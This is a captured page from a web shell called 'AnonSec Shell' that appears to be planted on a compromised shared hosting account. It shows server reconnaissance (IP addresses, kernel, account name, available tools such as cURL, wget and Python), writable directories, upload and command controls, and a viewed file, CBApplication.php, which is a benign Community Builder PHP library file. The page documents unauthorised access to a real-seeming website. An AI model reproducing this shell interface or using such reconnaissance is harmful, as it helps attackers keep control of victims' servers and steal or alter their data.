AnonSec Shell
Server IP : 54.36.91.62  /  Your IP : 216.73.217.112
Web Server : Apache
System : Linux webm013.cluster127.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User : coopiak ( 151928)
PHP Version : 8.3.23
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/coopiak/amisdesseniors-fr/nice/libraries/CBLib/CB/Application/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/coopiak/amisdesseniors-fr/nice/libraries/CBLib/CB/Application/CBApplication.php
<?php
/**
* CBLib, Community Builder Library(TM)
* @version $Id: 4/30/14 11:49 PM $
* @package CB\Application
* @copyright (C) 2004-2025 www.joomlapolis.com / Lightning MultiCom SA - and its licensors, all rights reserved
* @license http://www.gnu.org/licenses/old-licenses/gpl-2.0.html GNU/GPL version 2
*/

namespace CB\Application;

use CBLib\Application\ApplicationContainerInterface;
use CBLib\Core\AutoLoader;
use CBLib\Core\CBLib;
use CB\Legacy\LegacyLoader;

include_once dirname( dirname( __DIR__ ) ) . '/CBLib/Core/CBLib.php';

defined('CBLIB') or die();

/**
 * CB\Application\CBApplication Class implementation
 *
 */
class CBApplication
{
	/**
	 * Initialization function
	 *
	 * @param  string                         $type    [optional] 'Web' or 'Cli'
	 * @param  string                         $client  'site', 'administrator', 'installation', 'ConsoleApplication', 'ApiApplication'
	 * @return ApplicationContainerInterface
	 */
	public static function init( $type = 'Web', $client = 'site' )
	{
		AutoLoader::setup();
		new LegacyLoader();

		return CBLib::createApplication(
			$type,
			$client,
			/* This parameter is the Input parameter, and we use the query as input: */
			null,
			/* This parameter is the Application Config parameter, where we pass the CB Config loader: */
			function ( ApplicationContainerInterface $app )
			{
				return CBConfig::getConfig( $app->getDatabase() );
			}
		);

		// done in plugin.foundation.php for now:
		// Application::DI->get( 'LegacyFoundationFunctions' );
	}
}

Anon7 - 2022
AnonSec Team